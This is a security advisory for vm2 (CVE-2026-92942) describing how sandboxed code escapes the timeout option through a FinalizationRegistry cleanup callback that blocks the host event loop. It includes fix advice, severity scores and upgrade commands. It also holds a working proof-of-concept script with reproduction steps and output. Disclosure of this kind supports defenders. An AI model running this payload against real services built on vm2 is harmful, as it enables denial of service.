GHSA-r4fx-v8hh-22mv CVE-2026-92942
vm2: timeout Option Bypass via FinalizationRegistry Cleanup Callback (Unbounded Host Event-Loop Block)
- Severity
- 8.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.49%
- Chance of exploitation in the next 30 days. Higher than 42.02% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- CWE-841 Improper Enforcement of Behavioral Workflow
- Fix
3.11.7- Upgrade vm2 to this version or later
Description
Vulnerability Summary
vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this._runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned.
FinalizationRegistry and WeakRef are exposed to sandboxed code completely unmodified — they are not present anywhere in lib/setup-sandbox.js's list of specially-wrapped/hardened globals (only WeakMap, Promise, Proxy, Reflect, etc. receive hardening there). Sandboxed code can register a FinalizationRegistry callback against an object it creates and immediately drops. VM#run() returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via --expose-gc) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by doWithTimeout, Script.runInContext({timeout}), or any other vm2 accounting mechanism, because it isn't a new call to VM#run() at all — it's the GC's own native callback-invocation path.
Affected Code & Version
- Repository:
patriksimek/vm2 - Version tested:
3.11.6(commita5b31cd9c01b37139aa9c71df1c691a6d1b440f9, 2026-08-14) — the currentmainbranch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch). lib/vm.js,run()(~line 501) anddoWithTimeout()(~line 105): thetimeoutoption only wraps the single call tothis._runScript(script). No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.lib/setup-sandbox.js, lines 1–14: the module's captured/hardened globals list (LocalWeakMap,LocalProxy,LocalError, etc.) does not includeFinalizationRegistryorWeakRef. Repo-widegrepforFinalizationRegistry|WeakRefreturns zero matches inlib/, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors.
Steps to Reproduce
Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install.
- Clone and install:
git clone https://github.com/patriksimek/vm2.git
cd vm2 && npm install
- Save as
poc_timeout_bypass.jsin the repo root:
const { VM } = require('./lib/main.js');
const CONFIGURED_TIMEOUT_MS = 200;
const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });
const t0 = Date.now();
let runError = null;
try {
vm.run(`
let target = {};
const registry = new FinalizationRegistry(() => {
const busyStart = Date.now();
while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
});
registry.register(target, 'held-value');
target = null; // drop only strong reference -> GC-eligible
`);
} catch (e) { runError = e.message; }
const t1 = Date.now();
console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);
if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }
global.gc(); global.gc();
const timerScheduledAt = Date.now();
setTimeout(() => {
const delay = Date.now() - timerScheduledAt;
console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');
console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');
}, 10);
- Run:
node --expose-gc poc_timeout_bypass.js - Observed output:
vm.run() returned after 2 ms. Threw: null
Host setTimeout(10ms) actually fired after 3000 ms
Total wall time since vm.run() returned: 3029 ms
- Interpretation:
run()returned in 2ms, well inside the configured 200ms timeout — vm2 believes execution completed safely. A host-side timer scheduled for 10ms did not fire until ~3000ms later, proving the entire Node.js event loop — not just the sandbox — was blocked by sandboxed code running 15x longer than the configured timeout, entirely afterrun()had returned and outside any timeout enforcement. typeof FinalizationRegistryandtypeof WeakRefinside a freshVM()both evaluate to"function"with no wrapping, confirming the surface is reachable by design, not by an incidental leak.
Fix Recommendation
Pick one or combine:
- Remove
FinalizationRegistryandWeakReffrom the sandbox global scope by default. These are rarely needed by untrusted scripts and their GC-driven, engine-scheduled invocation model is fundamentally incompatible with a wall-clocktimeoutpromise. Delete them from the context inlib/setup-sandbox.jsalongside the other hardening done there, mirroring how other dangerous globals are handled. - If they must remain available, wrap
FinalizationRegistry's constructor so the callback the sandbox supplies is itself invoked through a host-side dispatcher that re-applies a fresh per-invocation timeout (e.g. viaScript.runInContextwithtimeoutagain, or by tracking cumulative CPU time viaprocess.hrtime/Isolate::TerminateExecutionif this is ever ported to a true isolate model). A callback that exceeds its budget should be forcibly terminated the same way an over-budgetrun()call is today. - Document the gap explicitly if neither is implemented immediately: the current README/docs describe
timeoutas bounding sandboxed execution without qualification. At minimum, callers should be warned that GC-triggered callbacks (FinalizationRegistry) are exempt.
any application that runs untrusted code through vm2 with a timeout expecting it to bound total CPU time can be denied service indefinitely. A single-line sandboxed script (registry.register(target, x) then drop the reference) can queue an unbounded busy-loop that fires at an unpredictable future moment and freezes the entire host Node.js process (single-threaded event loop) for as long as the attacker's loop runs — with no relationship at all to the configured timeout value. Because the freeze happens asynchronously and disconnected from the triggering run() call, it also undermines incident response: by the time the hang is observed, the run() call that caused it may be long gone from logs/traces.
This is a timeout-enforcement bypass / uncontrolled resource consumption issue, not (as currently demonstrated) a proxy/realm escape to host object access — sandboxed code stays within its own realm. See "What this report does not claim" below.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.11.7 |
3.11.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.7
- npm
npm install vm2@3.11.7- yarn
yarn add vm2@3.11.7- pnpm
pnpm add vm2@3.11.7
Severity breakdown
CVSS 4.0 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
CWE-841: Improper Enforcement of Behavioral Workflow
The product supports a session in which more than one behavior must be performed by an actor, but it does not properly ensure that the actor performs the behaviors in the required sequence.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor